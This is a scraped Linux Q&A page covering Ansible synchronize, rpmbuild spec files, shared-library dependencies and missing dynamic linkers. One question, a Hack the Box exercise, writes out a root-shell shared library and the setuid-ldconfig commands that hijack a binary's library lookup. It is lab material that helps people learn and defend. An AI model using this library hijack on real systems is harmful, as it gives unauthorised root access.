Ansible 'synchronize' overwrites folder even though delete=no - linux

In my Ansible role "xen", I have this task:
---
- name: Install Xen
synchronize: src=install/
dest=/
archive=yes
delete=no
I want to copy the following structure to the destination without overwriting files in the existing folders like /boot and /lib64:
root#node51 [~]# tree -L 1 /etc/ansible/xenhost/xen/files/install
/etc/ansible/xenhost/xen/files/install
├── boot
├── etc
├── lib64
├── usr
└── var
5 directories, 0 files
The task worked, but it replaced all the files in /lib64. That killed my server:
[root#localhost ~]# ls /lib64/
-bash: /usr/bin/ls: /lib64/ld-linux-x86-64.so.2: bad ELF interpreter: No such file or directory
Here's the verbose task output, truncated for brevity:
TASK: [xen | Install Xen] *****************************************************
<127.0.0.1> EXEC ['/bin/sh', '-c', 'mkdir -p $HOME/.ansible/tmp/ansible-tmp-1448470134.66-193795609318676 && echo $HOME/.ansible/tmp/ansible-tmp-1448470134.66-193795609318676']
<127.0.0.1> PUT /tmp/tmpb7EusD TO /root/.ansible/tmp/ansible-tmp-1448470134.66-193795609318676/synchronize
<127.0.0.1> EXEC ['/bin/sh', '-c', u'LANG=C LC_CTYPE=C /usr/bin/python /root/.ansible/tmp/ansible-tmp-1448470134.66-193795609318676/synchronize; rm -rf /root/.ansible/tmp/ansible-tmp-1448470134.66-193795609318676/ >/dev/null 2>&1']
changed: [192.168.0.123] => {"changed": true, "cmd": "rsync --delay-updates -FF --compress --archive --rsh 'ssh -o StrictHostKeyChecking=no' --out-format='<<CHANGED>>%i %n%L' \"/etc/ansible/xenhost/xen/files/install/\" \"root#192.168.0.123:/\"", "msg": "…truncated…"}
Curiously, the task didn't erase the existing files in /boot.
I made sure to specify delete=no explicitly, just in case, so it should not "Delete files that don't exist (after transfer, not before) in the src path."
Why did the Ansible 'synchronize' module replace /lib64 but copy to /boot as expected?

The issue is that /lib64 is not a directory. It is a symbolic link:
[root#localhost ~]# file /lib64
/lib64: symbolic link to `usr/lib64'
By having Ansible 'synchronize' rsync your lib64 directory, it removes the symbolic link and puts an actual folder in its place.
As a result, the libraries in /usr/lib64 are no longer reachable from /lib64, which is why everything that depended on finding libraries in /lib64 failed:
[root#localhost ~]# ldd /usr/bin/ls
linux-vdso.so.1 => (0x00007fffa9118000)
libselinux.so.1 => /lib64/libselinux.so.1 (0x00007fe4b9630000)
libcap.so.2 => /lib64/libcap.so.2 (0x00007fe4b9428000)
libacl.so.1 => /lib64/libacl.so.1 (0x00007fe4b9218000)
libc.so.6 => /lib64/libc.so.6 (0x00007fe4b8e50000)
libpcre.so.1 => /lib64/libpcre.so.1 (0x00007fe4b8be8000)
liblzma.so.5 => /lib64/liblzma.so.5 (0x00007fe4b89c0000)
libdl.so.2 => /lib64/libdl.so.2 (0x00007fe4b87b8000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe4b9860000)
libattr.so.1 => /lib64/libattr.so.1 (0x00007fe4b85b0000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00007fe4b8390000)
Remedy
Copy to /usr/lib64 instead. Put the libraries to copy in /etc/ansible/xenhost/xen/files/install/usr/lib64 instead of in /etc/ansible/xenhost/xen/files/install/lib64, and make sure the latter path does not exist.

Related

Inconsistent results when installing .rpm package

I have a .sh script that I packaged as .rpm to distribute. I'm using GitLab CI CD pipeline using gitlab-ci.yml. I'm able to pacakge the script in .rpm with no problems using the .spec.
The issue is when I install the .rpm (after uploading and downloading) in various systems for testing and make sure it does what I expect it to do.
So in the .spec file I specify that I want to install it in /usr/bin/myscript.sh with the following in .spec file:
%build
%install
rm -rf %{buildroot}
mkdir -p $RPM_BUILD_ROOT/%{_prefix}/bin
install -m 755 -p $RPM_BUILD_DIR/myscript.sh $RPM_BUILD_ROOT/%{_prefix}/bin/
So to test the newly created .rpm I try to install in 2 different containers
First one called centos
Output
[root#1235 /]# curl -O http://url/srpms/myscript-1.0-1.el7.src.rpm
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5773 100 5773 0 0 626k 0 --:--:-- --:--:-- --:--:-- 626k
[root#1235 /]# ls
bin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var myscript-1.0-1.el7.src.rpm
[root#1235 /]# rpm -iv myscript-1.0-1.el7.src.rpm
myscript-1.0-1.el7.noarch
[root#1235 /]# rpm -ql xsoar*
myscript.sh
myscript.spec
[root#1235 /]# find . -type f -name "myscript.sh" 2>/dev/null
./root/rpmbuild/SOURCES/myscript.sh
[root#1235 /]#
As you can see the script ends up in a path that was created by the installation itself ./root/rpmbuild/SOURCES/ instead of the expected /usr/bin/
For the next container I used the same image/container used by gitlab-ci.yml to package the .rpm
Output
[root#5704de76a68c /]# rpm -iv myscript-1.0-1.el7.src.rpm
myscript-1.0-1.el7.noarch
[root#5704de76a68c /]# rpm -ql xsoar*
package myscript-1.0-1.el7.src.rpm is not installed
[root#5704de76a68c /]# find . -type f -name "myscript.sh" 2>/dev/null
./root/rpmbuild/SOURCES/myscript.sh
[root#5704de76a68c /]#
Similar result but it says .rpm is not installed
Then for the heck of I tried installing the .rpm in the same instance/container right after creation using gitlab-ci.yml (before it gets uploaded to any repo for distribution) and I do get the expected result
Output
$ rpm -ivh $HOME/rpmbuild/RPMS/noarch/*.rpm
Preparing... ########################################
Updating / installing...
myscript-1.0-1.el7 ########################################
$ rpm -ql myscript
/usr/bin/myscript.sh
Part of the .spec
%prep
cp -fp %{SOURCE0} ./
%build
%install
rm -rf %{buildroot}
mkdir -p $RPM_BUILD_ROOT/%{_prefix}/bin
install -m 755 -p $RPM_BUILD_DIR/myscript.sh $RPM_BUILD_ROOT/%{_prefix}/bin/
%clean
rm -rf %{buildroot}
%files
%attr(755,root,root) %{_prefix}/bin/myscript.sh
Found the issue. Of course it had to be stupid. For my testing i was installing myscript.src.rpm instead of myscript.noarch.rpm

Manually linking C library for executable

I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.
The missing library is libseclogin.so. I have created a new file in /dev/shm and from there I have tried to use ldconfig to manually link the new library to drop me into a shell when myexec is run. ldconfig has the sticky bit set.
Here are the commands I have run. At the very end you can see that when I run ldd again to check the library has been relinked to /dev/shm/libseclogin.so that there has been no change.
Am I missing something out from this process?
genevieve#dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve#dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve#dab:/dev/shm$ nano libseclogin.c
genevieve#dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve#dab:/dev/shm$ chmod +x libseclogin.so
genevieve#dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve#dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve#dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve#dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve#dab:/dev/shm$
This is the basic C scipt I am using to drop into the shell.
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
Compile command to create shared library.
gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
Issue was primarily down to my usage of ldconfig.
Once I ran it without explicitly specifying the so file, this seemed to correct the issues.
Correct command...
ldconfig /dev/shm
Rather than...
ldconfig /dev/shm/libseclogin.c
Then when I ran ldd myexec I got the correct output.
genevieve#dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)

create var files under with "/" with rpmbuild

I'm new to the rpmbuild, googled and copy one spec file paramenters and created rpm successfully when i ran it the rpm nothing is creating
var.tar.gz -- this is my tar file. it has
var/
var/www/
var/www/html/index.html
My spec file
[root#kaka1 SPECS]# vi var.spec
Name: var
Version: 1
Release: 0
Summary: Xiph Streaming media server that supports multiple formats.
Group: Applications/Multimedia
License: GPL
URL: http################
Source: var-1.0.tar.gz
Prefix: %{_prefix}
Packager: Sukama
BuildRoot: %{_tmppath}/%{name}-root
%description
easily and supports open standards for commuincation and interaction.
%prep
rm -rf /root/rpmbuild/BUILD/*
%setup -n var
gzip -dc /root/rpmbuild/SOURCES/var-1.0.tar.gz| tar -xvvf -
if [ $? -ne 0 ]; then
exit $?
fi
could you help me where can i should mention my files to create under root?
First, don't use name like var, usr as package name, use that's more relevant to what the package may represent. Here is a simple spec file that should install index.html into the /var/www directory.
%define debug_package %{nil}
Summary: Simple SPEC
Name: simple
Version: 0
Release: 1
License: NONE # Use your suitable license
Group: NONE
URL: NONE
Source0: %{name}-%{version}.tar.gz
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
## Following lines are commented out, but that's the way to go
#BuildRequires: httpd # This needs https RPM during your build
#Requires: httpd # This would require httpd to be installed for this RPM
%description
%prep
%setup -q # This untars the source
%build # currently empty
%install # This moves into the source directory "simple-0" (see below)
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT/var/www
install -m 0644 index.html %{buildroot}/var/www/index.html
%clean
rm -rf $RPM_BUILD_ROOT
%post
%files
%defattr(-,root,root,-)
%doc
/var/www/index.html # Your packages owns the file, but not the directories
%changelog
* Web Feb 14 2018 <user#localhost> - 0.0
- Initial build.
For the above .spec file, one would need a tarball named simple-0.tar.gz. This maps to the Source0 name that is used inside the .spec. The content in this case would be a directory and a file: simple-0/index.html.

rpm provides shared object that is also required by a provided executable

Preface: Auto dependencies (AutoReqProv) is ON
As the title says, we have a shared object that is provided by the RPM package we have built, so it is placed in the %files section of the spec file. However, we have executable files in the %files section as well, that are dependent on this .so. So, with auto dependencies on, it is trying to resolve this issue during install of this package. Obviously, this .so has not been installed yet on the target system because it is apart of the package being installed. So, it throws an install error.
Has anyone experienced this issue before? Auto dependencies being on is a requirement for this, so removing it is a last ditch effort.
**Edit: Here is the %files section of my spec file. The .so in question is located in /usr/local/%{name}
%files
%defattr(-,root,root)
/usr/local/%{name}
/usr/bin/*
/etc/ld.so.conf.d/*
/etc/opt/aubit4gl2
/usr/lib/*
%attr(0755, -, -) /usr/local/bin/c4glpg
%attr(0755, -, -) /usr/local/bin/c4glpg2
The error is this:
error: Failed dependencies:
libaubit4gl.so is needed by aubit4gl2-10.0.4-2.i686
Edit 2: Here is the install section of the rpmbuild command output
make[1]: Leaving directory `/home/bhand/rpmbuild/BUILD/aubit4gl2-10.0.4/aubit4gl2'
+ cp -a aubit4gl2/atomix4pg/sqldist /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/usr/local/aubit4gl2/atomix4pg
+ cp -a aubit4gl2/etc/aubitrc /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/etc/opt/aubit4gl2
+ sed -i 's/^AUBITETC=.*/AUBITETC=\/etc\/opt\/aubit4gl2/g' /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/etc/opt/aubit4gl2/aubitrc
+ sed -i 's/^AUBITDIR=.*/AUBITDIR=\/usr\/local\/aubit4gl2/g' /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/etc/opt/aubit4gl2/aubitrc
+ sed -i 's/^AUBITDIR_SRC=.*/AUBITDIR_SRC=\/usr\/local\/aubit4gl2/g' /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/etc/opt/aubit4gl2/aubitrc
+ echo '# NOBLE: Make aubit utils only create 32-bit output'
+ echo CFLAGS=-m32
+ ln -s /usr/local/aubit4gl2/lib/libaubit4gl.so /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/usr/lib/libaubit4gl.so
+ ln -s /usr/local/aubit4gl2/atomix4pg/bin/c4glpg /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/usr/local/bin/c4glpg
+ ln -s /usr/local/aubit4gl2/atomix4pg/bin/c4glpg2 /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/usr/local/bin/c4glpg2
+ ln -s /usr/local/aubit4gl2/bin/amake /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/usr/bin/amake
+ ln -s /usr/local/aubit4gl2/bin/aubit /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/usr/bin/aubit
+ ln -s /usr/local/aubit4gl2/bin/aubit-config /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/usr/bin/aubit-config
Processing files: aubit4gl2-10.0.4-2.i686
warning: Explicit %attr() mode not applicaple to symlink: /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/usr/local/bin/c4glpg
warning: Explicit %attr() mode not applicaple to symlink: /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386/usr/local/bin/c4glpg2
Provides: libA4GL_HTML.so libA4GL_file.so libA4GL_memcache.so libA4GL_pcre.so libA4GL_pick.so libA4GL_roman.so libA4GL_string.so libDATA_module.so libDATA_module_definition.so libDATA_report.so libDATA_struct_form.so libEXREPORT_NOPDF.so libFORM_GENERIC.so libFORM_NOFORM.so libFORM_XDR.so libHELP_std.so libLEX_C.so libLEX_CS.so libLEX_EC.so libLEX_PERL.so libLEX_WRITE.so libLOGREPPROC_CSV.so libLOGREPPROC_HTML.so libLOGREPPROC_TXT.so libLOGREP_CSV.so libLOGREP_HTML.so libLOGREP_TXT.so libMSG_NATIVE.so libPACKER_FORMXML.so libPACKER_GZPACKED.so libPACKER_MEMPACKED.so libPACKER_PACKED.so libPACKER_PERL.so libPACKER_XDR.so libPACKER_XML.so libRPC_NORPC.so libRPC_XDR.so libSQLPARSE_INFORMIX.so libSQLPARSE_NONE.so libSQL_FILESCHEMA.so libSQL_nosql.so libSQL_unixodbc.so libUI_CONSOLE.so libUI_HL_GTK.so libUI_HL_TUI.so libUI_HL_TUIN.so libUI_TUI.so libUI_TUI_wide.so libUI_XML.so libXDRPACKER_module.so libXDRPACKER_module_definition.so libXDRPACKER_report.so libXDRPACKER_struct_form.so libaubit4gl-1.2_39.so libbarcode.so libchannel.so liberrhook_sample.so aubit4gl2 = 10.0.4-2 aubit4gl2(x86-32) = 10.0.4-2 perl(report) perl(using)
Requires(interp): /bin/sh /bin/sh /bin/sh
Requires(rpmlib): rpmlib(CompressedFileNames) <= 3.0.4-1 rpmlib(FileDigests) <= 4.6.0-1 rpmlib(PayloadFilesHavePrefix) <= 4.0-1
Requires(pre): /bin/sh
Requires(post): /bin/sh
Requires(postun): /bin/sh
Requires: /bin/sh /usr/bin/perl libatk-1.0.so.0 libaubit4gl-1.2_39.so libaubit4gl.so libc.so.6 libc.so.6(GLIBC_2.0) libc.so.6(GLIBC_2.1) libc.so.6(GLIBC_2.1.3) libc.so.6(GLIBC_2.12) libc.so.6(GLIBC_2.2) libc.so.6(GLIBC_2.2.3) libc.so.6(GLIBC_2.3) libc.so.6(GLIBC_2.7) libcairo.so.2 libcurl.so.4 libdl.so.2 libdl.so.2(GLIBC_2.0) libdl.so.2(GLIBC_2.1) libfontconfig.so.1 libform.so.5 libformw.so.5 libfreetype.so.6 libgdk-x11-2.0.so.0 libgdk_pixbuf-2.0.so.0 libgio-2.0.so.0 libglib-2.0.so.0 libgobject-2.0.so.0 libgtk-x11-2.0.so.0 libm.so.6 libm.so.6(GLIBC_2.0) libncurses.so.5 libncursesw.so.5 libodbc.so.2 libpanel.so.5 libpanelw.so.5 libpango-1.0.so.0 libpangocairo-1.0.so.0 libpangoft2-1.0.so.0 libpcre.so.1 libpthread.so.0 libpthread.so.0(GLIBC_2.0) libtinfo.so.5 libz.so.1 perl(DBI) perl(Date::Calc) perl(strict) perl(using) rtld(GNU_HASH)
Processing files: libaubit4gl-1.2_39-2.i686
Provides: libaubit4gl = 1.2_39-2 libaubit4gl(x86-32) = 1.2_39-2 libaubit4gl-1.2_39.so
Requires(rpmlib): rpmlib(CompressedFileNames) <= 3.0.4-1 rpmlib(FileDigests) <= 4.6.0-1 rpmlib(PayloadFilesHavePrefix) <= 4.0-1
Requires: libc.so.6 libc.so.6(GLIBC_2.0) libc.so.6(GLIBC_2.1) libc.so.6(GLIBC_2.1.3) libc.so.6(GLIBC_2.3) libc.so.6(GLIBC_2.7) libcurl.so.4 libdl.so.2 libdl.so.2(GLIBC_2.0) libdl.so.2(GLIBC_2.1) libm.so.6 libm.so.6(GLIBC_2.0) libz.so.1 rtld(GNU_HASH)
Checking for unpackaged file(s): /usr/lib/rpm/check-files /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386
Wrote: /home/bhand/rpmbuild/SRPMS/aubit4gl2-10.0.4-2.src.rpm
Wrote: /home/bhand/rpmbuild/RPMS/i686/aubit4gl2-10.0.4-2.i686.rpm
Wrote: /home/bhand/rpmbuild/RPMS/i686/libaubit4gl-1.2_39-2.i686.rpm
Executing(%clean): /bin/sh -e /home/bhand/rpmbuild/tmp/rpm-tmp.wtiBPg
+ umask 022
+ cd /home/bhand/rpmbuild/BUILD
+ cd aubit4gl2-10.0.4
+ rm -rf /home/bhand/rpmbuild/BUILDROOT/aubit4gl2-10.0.4-2.i386
+ exit 0
cp ~/rpmbuild/RPMS/i686/aubit4gl2-10.0.4-2.i686.rpm aubit4gl2-10.0.4-2.centos.7.postgres.i686.rpm
cp ~/rpmbuild/RPMS/i686/libaubit4gl-1.2_39-2.i686.rpm libaubit4gl-1.2_39-2.i686.rpm
cp RELEASENOTES aubit4gl2-10.0.4-2.centos.7.postgres.i686.RELEASENOTES
Edit 3: The output of rpm -qlvp aubit4gl2-10.0.4-2.centos.7.postgres.i686.rpm
rpm -qlvp nscaubit4gl2-10.0.4-2.centos.7.postgres.i686.rpm | grep libaubit4gl
lrwxrwxrwx 1 root root 42 Oct 11 14:06 /usr/lib/libaubit4gl.so -> /usr/local/nscaubit4gl2/lib/libaubit4gl.so
-rwxr-xr-x 1 root root 2439297 Oct 11 14:06 /usr/local/nscaubit4gl2/lib/libaubit4gl-1.2_39.so
lrwxrwxrwx 1 root root 21 Oct 11 14:06 /usr/local/nscaubit4gl2/lib/libaubit4gl.so -> libaubit4gl-1.2_39.so
Make sure the library has the executable bits on.
I added "Provides: libaubit4gl.so" to my spec file and it works now. For some reason, RPM was saying that the aubit4gl package was not providing this .so.
I'm still not 100% on why that is. But, this is what solved my problem.
If any file in the package's %files list is a shared library, the library's SONAME is automatically added to the list of capabilities the package provides.
In my case SONAME for the shared library is empty. After setting SONAME for shared library(as below using -Wl option in gcc) packging the modified shared library worked fine (automatically resolved capabilities).
To test whether SONAME is set properly you can use command objdump -p libaubit4gl.so | grep SONAME
SONAME is assigned/embedded into shared library during linking as below
gcc -shared -fPIC -Wl,-soname,libaubit4gl.so -o libaubit4gl.so foo.o bar.o baz.o -lc
SONAME can be different from file name libaubit4gl.so.
(Note: This is not as per standard but suggesting this to get rid of your error. However if you want to name shared library as per standards see versioning a shared library
You could have your spec file create two .rpm files: a libaubit4gl one and a aubit4gl one. The first provides this library and the other one requires it.
At least, this seems kind of good practice to me, at least if the library can be used w/o the binary.
I was having a similar problem. I was setting the executable bits on the created library with %file %attr, but it turned out that I wasn't setting the executable bits in my %install phase.
Setting the shared library file to 755 during %install AND %files fixed the problem.
I'm guessing that rpmbuild looks at the files in the BUILD directory for its analysis, so they have to be correct there, not just after the "rpm -i" installation.

Bash: No such file or directory?

I try to use an executable script (wkhtmltopdf) on a Linux shared webserver (Debian, 64bit). I am pretty sure that I compiled everything correct, but whenever I want to execute the file I get as an response :
> ./wkhtmltopdf -H
-bash: ./wkhtmltopdf: No such file or directory
To be sure that the file is there, here the ls output :
> ls
wkhtmltoimage wkhtmltopdf
Furthermore I tested the file command on it, which outputs the following :
> file wkhtmltopdf
wkhtmltopdf: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
My question is now :
Why does bash tells me that there is no 'file or directory', when there obviously is one?
My first guess would be that the shared server does not allow to execute binary files? But shouldn't it then be a problem of permissions, with a different bash output?
Edit :
> id
uid=2725674(p8907906) gid=600(ftpusers) groups=600(ftpusers)
> ls -l wkhtmltopdf
-rwxrwxrwx 1 p8907906 ftpusers 39745960 Jan 20 09:33 wkhtmltopdf
> ls -ld
drwx---r-x 2 p8907906 ftpusers 44 Jan 28 21:02 .
I bet you miss dynamic linker. Just do a
readelf --all ./wkhtmltopdf | grep interpreter
You should get an output like this:
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
There are high chances that you system lacks the interpreter (/lib64/ld-linux-x86-64.so.2 in the example). In this case bash would yell No such file or directory, just like when the binary itself is missing.
You can try to use a different linker. Sometime you can succeed. Just do a:
/path/to/the/linker /path/to/your/executable
This command:
find /lib* -name ld-linux\*
will help you find the linkers on your system. Or you can do the readelf command on some command that does run. It will show you correct, working linker.
OR, since you are running Debian system, just do a
sudo apt-get install wkhtmltopdf
to install native version of the tool :)
In my case
$ readelf --all ./wkhtmltopdf | grep interpreter # readelf: Displays information about ELF files.
[Requesting program interpreter: /lib/ld-linux.so.2]
On a machine where the executable was working:
$ ls -lah /lib/ld-linux.so.2
lrwxrwxrwx 1 root root 25 Apr 16 2018 /lib/ld-linux.so.2 -> i386-linux-gnu/ld-2.27.so
$ dpkg -S /lib/ld-linux.so.2 # -S, --search filename-search-pattern: Search for a filename from installed packages.
libc6:i386: /lib/ld-linux.so.2
So to fix the problem (reference)
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libc6:i386 # GNU C Library: Shared libraries (from apt show)
Missing the linker was my case as well. I could fix it with the help of nsilent22 answer like this:
readelf --all /usr/local/myprogram | grep interpreter
[Requesting program interpreter: /lib64/ld-lsb-x86-64.so.3]
But that linker did not exist anymore.
The old situation in /lib64 was:
ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.31.so
ld-linux-x86-64.so.3 -> ld-linux-x86-64.so.2
So it turned out this was just a symlink to the systems' linker.
Moving over to /lib64 , which itself is a symlink to usr/lib64 and creating a symlink over there did not work. I assume that there are to many symbolic link levels after Debian moved everything into /usr
However creating a 'direct' symlink
ln -s /usr/lib64/ld-linux-x86-64.so.2 /lib64/ld-lsb-x86-64.so.3
did the job; /usr/lib64 now shows:
ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.31.so
ld-lsb-x86-64.so.3 -> /usr/lib64/ld-linux-x86-64.so.2
I ran into this issue on my raspberry pi 4 running aarch64 alpine 3.13. Using the answer provided by #vkersten, I was able to determine that I was missing /lib/ld-linux-aarch64.so.1.
I resolved this by installing gcompat with apk add gcompat.

Resources